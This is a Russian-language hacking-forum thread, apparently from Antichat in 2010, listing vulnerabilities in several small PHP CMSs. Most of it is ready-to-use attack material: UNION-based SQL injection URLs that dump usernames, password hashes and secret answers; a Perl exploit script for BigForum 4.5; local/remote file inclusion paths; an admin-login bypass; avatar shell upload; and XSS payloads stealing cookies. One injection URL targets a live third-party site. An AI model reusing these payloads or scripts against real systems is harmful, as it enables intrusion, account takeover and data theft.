$query_select = "SELECT ID,TITLE,STATE,LINK,DESCRIPTION,CREATOR,FILE_NAME,
UNIX_TIMESTAMP(DATE_CREATION) as DATE_CREATION, ID_THEMA, HITS,
PRICE,DISCOUNT,ID_CURRENCY,STOCK,STOCK_CURRENT,PER IOD_DELIVERY,
COLORS1,COLORS2,COLORS3,COLORS4,COLORS5,COLORS6,RE FERENCE_FREE
FROM ".$g_db_prefix."CATALOGUE where ID=$select_catalogue";
SQL
http://localhost/worksystem_4_0_39/module/catalogue/view_catalogue.php?select_catalogue=1+and+1=2+unio n+select+1,2,3,4,5,6,version%28%29,user(),9,10+--+&work_url=04eaaac39da09ffd351cf366b0bd70aa#
SQL
http://localhost/worksystem_4_0_39/module/catalogue/view_catalogue.php?select_catalogue=1+and+1=2++uni on+select+1,2,3,4,5,6,user(),8,9+--+&work_url=04eaaac39da09ffd351cf366b0bd70aa#
SQL
http://localhost/worksystem_4_0_39/module/catalogue/view_catalogue.php?select_catalogue=1+and+1=2++uni on+select+1,version(),3,database(),5,6,7,8,9,10,11 ,12,13,14,15,16,17,18,19,20,21,22,23+--+&work_url=04eaaac39da09ffd351cf366b0bd70aa#
-----------------------
module/booking/view_room.php
$select_catalogue = ( isset($_REQUEST['select_catalogue']) and intval($_REQUEST['select_catalogue']) >= 1 ) ? $_REQUEST['select_catalogue'] : "";
...
$query_select = "SELECT ID,TITLE,STATE,LINK,DESCRIPTION,CREATOR,FILE_NAME, RESUME,
UNIX_TIMESTAMP(DATE_CREATION) as DATE_CREATION, ID_THEMA, HITS,
PRICE,DISCOUNT,ID_CURRENCY,STOCK,STOCK_CURRENT,PER IOD_DELIVERY,
COLORS1,COLORS2,COLORS3,COLORS4,COLORS5,COLORS6,RE FERENCE_FREE
FROM ".$g_db_prefix."CATALOGUE where ID=$select_catalogue";
SQL
http://localhost/worksystem_4_0_39/module/booking/view_room.php?amp;work_url=0168e286bf&select_catalogue=1+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17,18,19,20,21,22,23,version( )+limit+1,1
-----------------------
module\forum\detailforum.php
include($g_include_forum."include_display_detailforum.php");
include_config.php
global_register('GET','POST');
function global_register() {
$num_args = func_num_args();
if ($num_args > 0) {
for ($i = 0; $i < $num_args; $i++) {
$method = strtoupper(func_get_arg($i));
if (($method != 'SESSION') && ($method != 'GET') && ($method != 'POST') && ($method != 'SERVER') && ($method != 'COOKIE') && ($method != 'ENV')) {
die("The \"$method\" is invalid argument, The argument of global_register must be the following: GET, POST, SESSION, SERVER, COOKIE, or ENV"); }
$varname = "_{$method}";
global ${$varname};
foreach (${$varname} as $key => $val) {
global ${$key};
${$key} = $val;
}
}
}else{
die('You must specify at least one argument');
}
}
module\forum\include\include_display_detailforum.p hp
$query_select = "SELECT ID,ID_INIT,TITLE,STATE,DESCRIPTION,CREATOR,UNIX_TI MESTAMP(DATE_CREATION) as DATE_CREATION,LINK
FROM ".$g_db_prefix."FORUM_INIT where ID=$select_forum and STATE=$state_display $profile_forum order by ORDER_DISPLAY asc, DATE_CREATION asc";
SQL
http://localhost/worksystem_4_0_39/module/forum/detailforum.php?select_forum=3+union+select+1,2,us er(),4,version(),6,7,8+--+&work_url=2fa5af6c22#
------------------------
module\news\view_news.php
$select_news = ( isset($_REQUEST['select_news']) and intval($_REQUEST['select_news']) >= 1 ) ? $_REQUEST['select_news'] : "";
...
$query_select = "SELECT a.ID,a.TITLE,a.STATE,a.LINK,a.DESCRIPTION,b.CREATO R,a.FILE_NAME,
UNIX_TIMESTAMP(a.DATE_CREATION) as DATE_CREATION,a.WHERE_IMAGE,a.SIZE_IMAGE,a.HITS,a. WRAPPER
FROM ".$g_db_prefix."NEWS a, ".$g_db_prefix."NEWS_SUPPLIER b where ID=$select_news and a.ID=b.NEWS_ID ";
SQL
http://localhost/worksystem_4_0_39/module/news/view_news.php?select_news=12+union+select+1,user() ,3,database(),version(),6,7,8,9,10,11,12+--+
------------------------------
Заходим админом
Кроме стандартного захода login : password, предусмотрен login : Secret answer, причем Secret answer хранится в таблице user
открытым текстом.
Узнаем префикс таблиц в базе.
http://localhost/worksystem_4_0_39/module/news/view_news.php?select_news=12+union+select+1,TABLE_ NAME,3,TABLE_SCHEMA,5,6,7,8,9,10,11,12+from+inform ation_schema.tables+--+
http://www.artpeinture.fr/work/module/news/view_news.php?select_news=12+union+select+1,TABLE_ NAME,3,TABLE_SCHEMA,5,6,7,8,9,10,11,12+from+inform ation_schema.tables+--+&work_url=8cd560377a
Читаем username и Secret answer
http://localhost/worksystem_4_0_39/module/news/view_news.php?select_news=12+union+select+1,name,3 ,ANSWER,5,6,7,8,9,10,11,12+from+work_user+--+
Запасной вход
http://localhost/worksystem_4_0_39/module/user/forget_password.php?f_username=admin&work_url=8cd5 60377a
или
http://localhost/worksystem_4_0_39/module/user/forget_password.php?f_username=blabla'+or+GROUP_ID =7+--+&work_url=8cd560377a
вводим секретный ответ и мы админы.
BigForum
Version: 4.5
http://sourceforge.net/projects/npage-bigforum/
SQL Injection:
/misc.php?aktion=adser&id=-1'+union+select+1,2,user(),4,5+--+
(Need mq = off)
Будет редирект на значение 3 поля.
/profil.php?id=-1'+union+select+1,concat_ws(0x3a,id,username,pw),3 ,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2,23,24,25,26,27,28,29+from+users--+
/search.php
В Author / Erstellen
1u%' union select 1,2,3,4,5,6,7,8,9,10,11,12 --
/?do=show_one&id=-1'+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4+--+
Залитие шелла:
/main.php?do=ava&aktion=send
Выбираем как аватару шелл, и заливаем, /images/avatar/ .
BigForum 4.5 SQL INJ EXPLOIT.
#!/usr/bin/perl
use LWP::Simple;
print "\n";
print "################################################## ############\n";
print "# BigForum Version: 4.5 SQL INJECTION #\n";
print "# Author: Ctacok (Russian) #\n";
print "# Blog : www.Ctacok.ru #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru #\n";
print "# Require : Magic_quotes = Off #\n";
print "################################################## ############\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$vuln = "-1'+union+select+1,concat(0x3a3a3a,id,0x3a,username ,0x3a,pw,0x3a3a3a),3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+us ers";
$doc = get($host.$path."profil.php?id=".$vuln."+--+");
if ($doc =~ /:::(.+):(.+):(.+):::/){
print "\n[+] Admin id: : $1";
print "\n[+] Admin username: $2";
print "\n[+] Admin password: $3";
}
Dork: by Bigforum-Team (Version: 4.5 )
[x60]unu
11.03.2010, 13:26
pHNews
product : pHNews-alpha1-normal
SQL injection
modules/comments.php - code
if ($ii >= $messagespp) {
// Find out how many pages
$pages = $ii / $messagespp;
$pages = ceil($pages);
$pages++;
$page++;
$pagesm = $pages - 1;
$comm_output .= pages($pagesm,"?mod=comments&id=".$_GET['id']."&page=");
}
unset($tmp_ended);
$sql = "SELECT lastread FROM Users WHERE UName = '$user_uname'";
$result = mysql_query($sql) or die('Query failed: ' . mysql_error());
$row = mysql_fetch_array($result, MYSQL_ASSOC);
$exploaded = $pHNews->explodeAssoc("&", $row['lastread']);
$exploaded[$_GET['id']] = time();
$sql = "UPDATE Users SET lastread='".$pHNews->implodeAssoc("&", $exploaded)."' WHERE UName = '$user_uname';";
mysql_query($sql);
$mod_output .= mysql_error();
result
mq=off
SQL Injection
http://localhost/upload/indexfix.php?mod=comments&id=1'+and+0+union+all+select+1,version(),3,4,5,6,7 ,8--+
Blind SQL Injection
http://localhost/upload/indexfix.php?mod=comments&user_uname=[blind sql]
modules/view_profile.php
//$sql = "SELECT * FROM `Users` WHERE `UName`='{$_GET['user']}'";
//$result = mysql_query($sql) or die('Query failed: ' . mysql_error());
//$row = mysql_fetch_array($result);
$row = $pHNews->get_user_info("", $_GET['user']);
result :
http://localhost/upload/indexfix.php?mod=view_profile&user='+and+0+union+all+select+1,2,3,4,5,6,7,8,9,10 ,11,12,13,14--+
Local File Inclusion
module/comments.php - code
include "./$templates_dir/$template/comments.php";
mq=off
result :
http://localhost/upload/modules/comments.php?templates_dir=../../upload/[file]%00
http://localhost/upload/modules/comments.php?template=../../upload/[file]%00
(с) milw0rm
SQL injection + Local File Inclusion
mq=off
rg=on
http://localhost/upload/indexfix.php?mod=view_profile'+and+0+union+all+sel ect+[LFI],2--+
http://localhost/upload/indexfix.php?mod=login'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=usercp'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=admin'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=register'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=news'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=about'+and+0+union+all+select+[LFI],2--+
http://localhost/upload/indexfix.php?mod=terms'+and+0+union+all+select+[LFI],2--+
[x60]unu
12.03.2010, 12:01
faNAME
product : en.faname
SQL injection
1. mq = off
page.php - уязвимость в коде файла /class/page.php к которому обращается файл
Code :
$id = $_GET['id'];
$kind = "id";
$result = mysql_query("SELECT * FROM blog WHERE $kind LIKE '$id' order by id DESC LIMIT 1");
while($r=mysql_fetch_array($result))
result :
http://localhost/en.faname/page.php?id=2'+and+0+union+all+select+1,version(), 3,4--+
Blind sql
2. admin panel
/admin/del.page.php
if($_GET["cmd"]=="delete")
{
$id = $_GET['id'];
$sql = "DELETE FROM blog WHERE id=$id";
$result = mysql_query($sql);
result :
http://localhost/en.faname/admin/del.page.php?cmd=delete&id={blind sql}
Passive XSS
mq = off
http://localhost/en.faname/index.php'%22/%3E%3Cscript%3Ealert(%22xss%22);%3C/script%3E
[x60]unu
13.03.2010, 01:39
Драконий Движок
product : Драконий Движок 0.1
RFI - LFI
mq=off (Доступ в админ панель не нужна)
admin/system/include.php - Code :
include("$skindir/header.php");
....
include("$skindir/footer.php");
result :
http://localhost/admin/system/include.php?skindir=../../[FILE]%00
http://localhost/admin/system/include.php?skindir=http://localhost/1.txt?
SQL Injection
standart prefix : dre_
mq = off
index.php - обращение к файлу admin/system/engine.php : CODE
if ($p != "") $build .= " AND aid = '$p'";
if ($cat || $user) {
if (!$p) {
if ($cat) {$build .= " AND category = '$cat'";}
if ($user) {$build .= " AND username = '$user'";}
result :
http://localhost/index.php?cat=1'+and+0+union+all+select+1,2,concat _ws(0x3a,uid,username,password),4,5,6,7,8,9,10,11+ from+dre_users--+
http://localhost/index.php?user=1'+and+0+union+all+select+1,2,conca t_ws(0x3a,uid,username,password),4,5,6,7,8,9,10,11 +from+dre_users--+
http://localhost/index.php?p=2'+and+0+union+all+select+1,2,concat_w s(0x3a,uid,username,password),4,5,6,7,8,9,10,11+fr om+dre_users--+
Admin panel
mq=off
admin/profile.php : Code
$result = mysql_query("SELECT * FROM ".$prefix."profile WHERE username = '$username'");
result :
http://localhost/admin/profile.php?action=view&username=admin'+and+0+union+all+select+concat_ws(0 x3a,uid,username,password),2,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16+from+dre_users--+
admin/categories.php - Code :
$result = mysql_query("SELECT * FROM ".$prefix."categories WHERE cid='$cid'");
result :
http://localhost/admin/categories.php?action=edit&cid=1'+and+0+union+all+select+1,concat_ws(0x3a,uid ,username,password)+from+dre_users--+
Ну и в конце комментирование - в текст комментария добавляем (для MySQL 5.0. ...)
'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
Passive XSS
http://localhost/index.php/%22%3E%3Cscript%3Ealert();%3C/script%3E
[x60]unu
13.03.2010, 21:54
jurpopage
product : jurpopage-0.0.6
admin panel : /jurpopageadmin
SQL injection
mq=off
index.php
$query = "SELECT category_id AS category FROM category WHERE page_id='$page_id' ORDER BY category_id ASC LIMIT 0,1";
$result = fn_query($conn_id,$query);
while($rows = fn_fetch_array($result)) extract($rows,EXTR_OVERWRITE);
}
$active_category_id = $category;
$query = "SELECT category_title AS active_category_title FROM category WHERE page_id='$page_id' AND category_id = '$active_category_id'";
$result = fn_query($conn_id,$query);
while($rows = fn_fetch_array($result)) extract($rows,EXTR_OVERWRITE);
if(isset($HTTP_GET_VARS["id"])) $q_note_detail ="page_id = '$page_id' AND note_id = '$id'";
else $q_note_detail ="page_id = '$page_id' AND category_id = '$active_category_id' ORDER BY note_id DESC LIMIT 0,1";
...
$q_page ="WHERE page_id = '$page_id' AND category_id = '$active_category_id' ";
result :
http://localhost/index.php?page_id=[sql]
http://localhost/index.php?page_id=1&category=[sql]
http://localhost/index.php?page_id=1&category=100&id=49'+union+all+select+1,2,concat_ws(0x3a,user_na me,user_password),4+from+master_user+limit+1,1--+
jurpopageadmin/note.php
mq=off
доступ в админ панель
$query = "SELECT category_title FROM category WHERE page_id = '".$page_id."' AND category_id = '$category_id'";
http://localhost/jurpopageadmin/note.php?page_id=[sql]&category=[sql]
Passive XSS
mq=off
http://localhost/index.php'%22/%3E%3Cscript%3Ealert(%22xss%22);%3C/script%3E
PHPShop CMS Free v.3.1
http://www.phpshopcms.ru/
Active XSS
// Запись отзыва в базу
function WriteGbook()
{
global $LoadItems,$SysValue,$REMOTE_ADDR,$SERVER_NAME;
// Подключаем библиотеку отправки почты
PHPShopObj::loadClass("mail");
if(isset($_POST['send_gb']))
{
if(!preg_match("/@/",$_POST['mail_new']))//проверка почты
{
$_POST['mail_new']="";
}
if(@$_POST['name_new']!="" and @$_POST['otsiv_new']!="" and @$_POST['tema_new']!="")
{
$name_new=PHPShopSecurity::TotalClean($_POST['name_new'],2);
$otsiv_new=PHPShopSecurity::TotalClean($_POST['otsiv_new'],2);
$tema_new=PHPShopSecurity::TotalClean($_POST['tema_new'],2);
$mail_new=addslashes($_POST['mail_new']);
$date = date("d.m.y");
$ip=$REMOTE_ADDR;
$sql="INSERT INTO ".$SysValue['base']['table_name7']."
VALUES ('','$date','$name_new','$mail_new','$tema_new','$ otsiv_new','','0')";
mysql_query($sql)or @die($sql."Невозможно добавить к базе");
$zag=$LoadItems['System']['name']." - Уведомление о добалении отзыва / ".date("d-m-y");
$message="
Доброго времени!
---------------
С сайта ".$LoadItems['System']['name']." пришло уведомление о добалении отзыва
в гостевую книгу.
Данные о пользователе:
----------------------
Имя: ".@$name_new."
E-mail: ".@$mail_new."
Тема сообщения: ".@$tema_new."
Сообщение: ".@$otsiv_new."
Дата: ".date("d-m-y H:s a")."
IP: ".$REMOTE_ADDR."
---------------
С уважением,
Компания ".$LoadItems['System']['company']."
http://".$SERVER_NAME;
$PHPShopMail = new PHPShopMail($LoadItems['System']['adminmail2'],$mail_new,$zag,$message);
}
}
}
Проверка email только на @
if(!preg_match("/@/",$_POST['mail_new'])){
}
http://localhost/phpshop/gbook_forma/
POST: mail_new
mail_new = "><script>alert(1)</script>@<"
Расшифровал index.php если кому интересно
<?
session_start();
error_reporting(0);
if (file_exists("./cnstats/index.php"))
include ("./cnstats/cnt.php");
function ParseTemplate($TemplateName)
{
global $SysValue, $_SESSION, $PHP_SELF, $_ENV;
$file = newGetFile($SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
chr(47) . $TemplateName);
$string = newParser($file);
$path_parts = pathinfo($PHP_SELF);
if (getenv("COMSPEC"))
$dirSlesh = "\\";
else
$dirSlesh = "/";
$root = $path_parts['dirname'] . "/";
if ($path_parts['dirname'] != $dirSlesh) {
$replaces = array("/images\//i" => $SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
"/images/", "/\/favicon.ico/i" => $root . "favicon.ico", "/java\//i" => $root .
"java/", "/css\//i" => $root . "css/", "/phpshop\//i" => $root . "phpshop/", "/\/links\//i" =>
$root . "links/", "/\/files\//i" => $root . "files/", "/\/opros\//i" => $root .
"opros/", "/\/page\//i" => $root . "page/", "/\/news\//i" => $root . "news/", "/\/gbook\//i" =>
$root . "gbook/", "/\/search\//i" => $root . "search/", "/\"\/\"/i" => $root, "/\/map\//i" =>
$root . "map/", "/\/rss\//i" => $root . "rss/", );
} else {
$replaces = array("/images\//i" => $SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
"/images/", "/java\//i" => "/java/", "/css\//i" => "/css/", "/phpshop\//i" =>
"/phpshop/", );
}
$string = preg_replace(array_keys($replaces), array_values($replaces), $string);
echo $string;
}
function ParseTemplateReturn($TemplateName)
{
global $SysValue, $LoadItems, $_SESSION;
$SysValue = $GLOBALS['SysValue'];
$file = newGetFile($SysValue['dir']['templates'] . chr(47) . $_SESSION['skin'] .
chr(47) . $TemplateName);
$dis = newParser($file);
return @$dis;
}
function ConstantS($string)
{
return @preg_replace_callback("/@([[:alnum:]]+)@/", "ConstantR", $string);
}
function allowedFunctions($str)
{
$allowFunctions = array('if', 'else', 'swicth', 'for', 'foreach', 'phpinfo',
'echo', 'print', 'print_r');
$allowFunctions = array_merge($allowFunctions, explode(',', $GLOBALS['SysValue']['function']['allowed']));
preg_match_all('/\s*([A-Za-z0-9_]+)\s*\(/isU', $str, $findedFunctions);
$remElements = array_diff($findedFunctions[1], $allowFunctions);
if (count($remElements) > 0) {
echo ('<br><br><b>В шаблоне обнаружена запрещенная функция</b><br>');
echo ('Список найденных запрещенных функций:');
echo ('<pre>');
foreach ($remElements as $remElement) {
echo ($remElement . '()<br>');
}
echo ('</pre><br>');
echo ('Список разрешенных функций (добавить свою функцию можно в config.ini):');
echo ('<pre>');
foreach ($allowFunctions as $allowFunction) {
echo ($allowFunction . '()<br>');
}
echo ('<br>');
echo ('</pre><br>');
return false;
} else {
return true;
}
}
function evalstr($str)
{
ob_start();
if (eval(stripslashes($str[2])) !== null) {
echo ('<center style="color:red"><br><br><b>PHPShop Template Code: В шаблоне обнаружена ошибка выполнения php</b><br>');
echo ('Код содержащий ошибки:');
echo ('<pre>');
echo ($str[2]);
echo ('</pre></center>');
return ob_get_clean();
}
return ob_get_clean();
}
function newParser($string)
{
global $SysValue;
$newstring = @preg_replace_callback("/(@php)(.*)(php@)/sU", "evalstr", $string);
$newstring = @preg_replace("/@([[:alnum:]]+)@/e", '$SysValue["other"]["\1"]', $newstring);
return $newstring;
}
function ConstantR($array)
{
global $SysValue;
if (!empty($SysValue['other'][$array[1]]))
$string = $SysValue['other'][$array[1]];
else
$string = null;
return $string;
}
function newGetFile($path)
{
$file = @file_get_contents($path);
if (!$file)
return false;
return $file;
}
$time = explode(' ', microtime());
$start_time = $time[1] + $time[0];
include ("./phpshop/class/base.class.php");
$PHPShopBase = new PHPShopBase("./phpshop/inc/config.ini");
$RegTo['RegisteredTo'] = "PHPShop CMS Free";
$RegTo['CopyrightEnabled'] = "Yes";
$RegTo['DomenLocked'] = "No";
$RegTo['CopyrightColor'] = "6A7EA1";
$RegTo['SupportExpires'] = "0";
include ($SysValue['file']['error']);
if (empty($GLOBALS['p']))
$GLOBALS['p'] = 1;
if ($SysValue['my']['gzip'] == "true")
include ($SysValue['file']['gzip']);
include ($SysValue['class']['obj']);
include ($SysValue['class']['array']);
include ($SysValue['class']['category']);
include ($SysValue['class']['system']);
include ($SysValue['class']['page']);
include ($SysValue['class']['photo']);
include ($SysValue['class']['nav']);
include ($SysValue['class']['security']);
$PHPShopSystem = new PHPShopSystem();
$LoadItems['System'] = $PHPShopSystem->getArray();
$PHPShopNav = new PHPShopNav();
include ($SysValue['file']['engine']);
include ($SysValue['file']['catalog']);
include ($SysValue['file']['news']);
include ($SysValue['file']['subnews']);
include ($SysValue['file']['baner']);
include ($SysValue['file']['cache']);
include ($SysValue['file']['opros']);
if ($LoadItems['System']['spec_num'] == 1) {
if (isset($_REQUEST['skin'])) {
if (file_exists("phpshop/templates/" . $_REQUEST['skin'] . "/index.html")) {
$skin = $_REQUEST['skin'];
session_register('skin');
}
} elseif (empty($_SESSION['skin'])) {
$skin = $LoadItems['System']['skin'];
session_register('skin');
}
$SysValue['other']['skinSelect'] = Skin_select($_SESSION['skin']);
} else {
$skin = $LoadItems['System']['skin'];
session_register('skin');
}
$LoadItems = CacheReturn();
foreach (@$SysValue['autoload'] as $val)
if (file_exists($val))
include_once ($val);
function GetFileInstall()
{
global $SysValue;
$filename = "./install/";
if (is_dir($filename))
exit(PHPSHOP_error(105, $SysValue['my']['error_tracer']));
}
if (!getenv("COMSPEC"))
$GetFileInstall = GetFileInstall();
if ((isset($_GET['nav'])) && ($_GET['nav'] == "page")) {
$Check_page_skin = Check_page_skin($_GET['name']);
if ($Check_page_skin != "") {
$skin = $Check_page_skin;
session_register('skin');
} elseif ($LoadItems['System']['spec_num'] != 1) {
$skin = $LoadItems['System']['skin'];
session_register('skin');
}
}
if (isset($_POST['skin']))
header("Location: " . htmlspecialchars($REQUEST_URI));
include ($SysValue['file']['meta']);
$SysValue['other']['ProductName'] = $SysValue['license']['product_name'];
include ($SysValue['file']['autoload']);
$time = explode(' ', microtime());
$seconds = ($time[1] + $time[0] - $start_time);
$seconds = substr($seconds, 0, 6);
echo "<!-- StNF " . $SysValue['sql']['num'] . " ~ $seconds -->";
if ($SysValue['my']['gzip'] == "true")
GzDocOut($SysValue['my']['gzip_level'], $SysValue['my']['gzip_debug']); ?>
Strilo4ka
17.03.2010, 05:15
product : jurpopage-0.0.6 Дополнение постов [x60]unu...
SQL inj
html.php
mg=off ...
if(empty($id)) $id=1;
$web = new speed_template($template_path);
$web->register($template_name);
$query = "
SELECT *
FROM webpg
WHERE webpg_id='$id'
";
...Result:
http://localhost/jurp/html.php?id=[sql]
http://localhost/jurp/html.php?id=3'+union+select+1,2,3--+
SQL inj
Файл login.php
POST + капча
mg=off
В скрипте 2 запроса.
Многострочный коментарий надо во второй запрос втулить чтоб обойти авторизацию, но так как там upper(), то не получаеться, вот. Но самое интересное что -- принимает.
В поле с USER ID такую строку
a') and(1,2)=(select * from(select+name_const(version(),1),name_const(ver sion(),1))a)--
и имеею иньекцию в первом запросе. Обязательны все 3 поля.
...$conn_id = connect();
//--- check apakah ada nama user tersebut
//master user
$query = "
SELECT
count(*) as user_exist
FROM
master_user
WHERE
upper(user_id) = upper('$send_user')
";
$result = fn_query($conn_id,$query);
$mRet =fn_fetch_row($result);
if ($mRet[0]>0) {
//proses
while($rows = fn_fetch_array($result)) extract($rows,EXTR_OVERWRITE);
$password = md5($password);
$query = "
SELECT
#user_id as temp_value, user_level as temp_level
user_id as temp_value, user_level as temp_level,
master_user_id as temp_rowid
FROM
master_user
WHERE
upper(user_id) = upper('$send_user') and
user_password = '$password'
";...
вывод ошибок от СУБД есть, файл fungsi.php
...function fn_query($conn, $input)
{
//$result =pg_query($input,$conn);
$result =@mysql_query($input,$conn);
if (!$result)
{
die ("Error eksekusi:<br>".mysql_error());
return false;
}
return $result;...
Strilo4ka
17.03.2010, 13:31
Дополнение постов [x60]unu...
iGaming CMS
Product : iGaming CMS
version : 1.5
site : forums.igamingcms.com
SQL inj
Файл screenshots.php
mg=off
...if (isset($_REQUEST[id])) {
$result = $db->Execute("SELECT * FROM `sp_screenshots` WHERE `id` = '$_REQUEST[id]' LIMIT 1");
echo $start_table . '<b>',stripslashes($result->fields['title']),'</b>' . $end_table . '<br />';
echo '<center><img src="',$result->fields['screen'],'" border="0" alt="',stripslashes($result->fields['title']),'"></center>';
}...
Result:
http://localhost/gami/screenshots.php?id=1[sql]
http://localhost/gami/screenshots.php?id=-1'+union+select+1,version(),3,4,5--+
SQL inj
reviews.php
mg=off
... if (isset($_REQUEST['browse'])) {
$sql = $db->Execute("SELECT id,title,section FROM `sp_reviews`
WHERE `title` LIKE '".$_REQUEST['browse']."%'
ORDER BY `title`");...Result:
http://localhost/gami/reviews.php?browse=Z[sql]
http://localhost/gami/reviews.php?browse=Z'+union+select+1,2,3/*
SQL ing
search.php
mg=off
... if ($_REQUEST['platform'] != 'all') {
$platform = "`section` = '" . $_REQUEST['platform'] . "' ";
} else {
$platform = "`section` LIKE '%' ";
}
if ($_REQUEST['exact'] == '1') {
$title = "`title` = '".$_REQUEST['keywords']."' ";
} else {
$title = "`title` LIKE '%".$_REQUEST['keywords']."%' ";
}
$result = $db->Execute("SELECT id,title,section,publisher,developer FROM `sp_games` WHERE $title AND $platform AND `published` = '1' ORDER BY `title`");
while ($row = $result->FetchNextObject()) {...
Result:
Посылаем пост или гет запрос.
$_REQUEST['keywords'][sql] или на другую переменную...
поле Keywords пишем - %' union select 1,version(),3,4,5/*
Blind sql
poll_vote.php
$result = $db->Execute("SELECT * FROM sp_polls_options WHERE id = '$_REQUEST[id]'");
$ip = $db->Execute("SELECT * FROM sp_polls_iplog WHERE pollid = '" . $result->fields['poll_id'] . "' AND ip = '" . $_SERVER['REMOTE_ADDR'] . "';") or die($db->ErrorMsg());
if ($ip->RecordCount() < 1)
{
$count2 = $result->fields['count'] + 1;
$db->Execute("UPDATE `sp_polls_options` SET `count` = $count2 WHERE `id` = '$_REQUEST[id]'");
$db->Execute("INSERT INTO sp_polls_iplog (pollid,ip) VALUES ('" . $result->fields['poll_id'] . "','" . $_SERVER['REMOTE_ADDR'] . "');");
}
если чесно даже ковырять впадляк !!! много дыр... :)
Strilo4ka
18.03.2010, 04:17
Jupiter 1.1.5
http://www.jupiterportal.org
passive xss
было скачано с http://www.cmsdownload.com/index.php?name=Downloads&get=99&mirror=132
...error_reporting (E_ALL);
$PHP_SELF = $_SERVER['PHP_SELF'];......<tr><td class="con1" valign="top"><a href="<?= $PHP_SELF ?>?a=logout"> » <?= $language ?></a></td></tr>......if(!isset($is_loged_in))
{
?>
<tr class='bottom' height='1%'><td valign='top'><?= $language['Maintance title2'] ?></td></tr><tr><td class='con2'><?= messagedef($language['Header message']) ?></td></tr>
<tr><td class='con1' height='96%' valign='top'>
<form method='post' action='<?= $PHP_SELF ?>?n=modules/login'>......<table width='100%' cellspacing='1' border='0' cellpadding='2'>
<tr><td class='empty' width='35%' valign='top'><a href='<?= $PHP_SELF ?>?n=modules/login&a=1'> » <?= $language['Maintance desc6'] ?></a></td>
<td class='con1' width='5%'> </td>......if(file_exists("$n.php"))
{
if(strpos($n, "../") !== false) header("location: $PHP_SELF?i=error");
else include("$n.php");
}
elseif(!file_exists("$n.php")) header("location: $PHP_SELF?i=error");...Result:
http://localhost/jupiter/index.php[XSS]
passive xss
modules/block.php
...if(!isset($is_webmaster))
{ header("location: $PHP_SELF?i=2"); exit; }...Result:http://localhost/jupiter/modules/blocks.php[XSS]
http://localhost/jupiter/modules/blocks.php%3Cscript%3Ealert(123)%3C/script%3E
В скриптах есть еще много XSS=/
LightNEasy
site:http://www.lightneasy.org/index.php
magic_quotes_gps = off
Вход с полномочиями admin
Единственное, что я придумал:
login: "+union+select+1,2,'40bd001563085fc35165329ea1ff5c5 ecbdbbeef',5,5,6,7,8,9,10,11+--+
pass: 123
40bd001563085fc35165329ea1ff5c5ecbdbbeef - sha-1("123")
Уязвимый код(common.php):
$result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
if($row = fetch_array($result)) {
if($row['password'] == sha1($_POST['password'])) {
//inserts password in cookie
setcookie('userpass', sha1(trim($_POST['password'])), time() + 60 * 60 * 24 * 30);
setcookie('userhandle', $_POST['handle'], time() + 60 * 60 * 24 * 30);
$_SESSION[$set['password']]="1";
$_SESSION['user']=$row['handle'];
$_SESSION['adminlevel']=$row['adminlevel'];
$message=$langmessage[95];
unset($_GET['do']);
header("Location: ".$set['homepath']);
} else
$message=$langmessage[96];
} else
$message=$langmessage[96];
Activexss
http://localhost/light/LightNEasy.php?page=news
commentmessage=<script>alert(document.cookie)</script>
Уязвимый код(common.php)
$_POST['commentmessage'] = str_replace($order, "<br />", $_POST['commentmessage']);
$query="INSERT INTO ".$prefix."comments (newsid, poster, postermail, time, text) VALUES (".$_POST['newsid'].",\" ".encode($_POST['commentname'])."\", \"".encode($_POST['commentemail'])."\", ".time().", \"".encode(stripslashes($_POST['commentmessage']))."\")";
dbquery($query);
.:[melkiy]:.
19.03.2010, 22:37
Дополнение к https://forum.antichat.ru/showpost.php?p=1991535&postcount=343
---------------------------------------
SQL injection(требования: mq=off,rq=on)
№1
file: modules/users.php
case 1:
....
$user = $db->getLine("SELECT * FROM users",$d);
if(!$user) header("location: $PHP_SELF?i=error");
....
file: includes/functions_db.php
function getLine($query,$id=FALSE)
{
if($id===FALSE)
$this->query($query);
else
$this->query($query." WHERE `id`='$id'");
if(is_resource($this->sqlr))
{
$line=mysql_fetch_assoc($this->sqlr);
$this->freeResult();
return $line;
}
return FALSE;
}
result:
/index.php?n=modules/users&a=1&d=-1'+union+select+1,2,concat_ws(0x3a,username,passwo rd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2 1,22,23,24,25,26,27+from+users+where+id=1+--+
№2
file: modules/forum.php
case 1:
...
$forum_cat = $db->getLine("SELECT id, name FROM forum_cat",$d);
if(!$forum_cat) header("location: $PHP_SELF?i=error");
...
file: includes/functions_db.php
function getLine($query,$id=FALSE)
{
if($id===FALSE)
$this->query($query);
else
$this->query($query." WHERE `id`='$id'");
if(is_resource($this->sqlr))
{
$line=mysql_fetch_assoc($this->sqlr);
$this->freeResult();
return $line;
}
return FALSE;
}
result:
/index.php?n=modules/forum&a=1&d=-1'+union+select+1,concat_ws(0x3a,username,password )+from+users+where+id=1+--+
//инъекции с использованием бажной функции getLine
№3
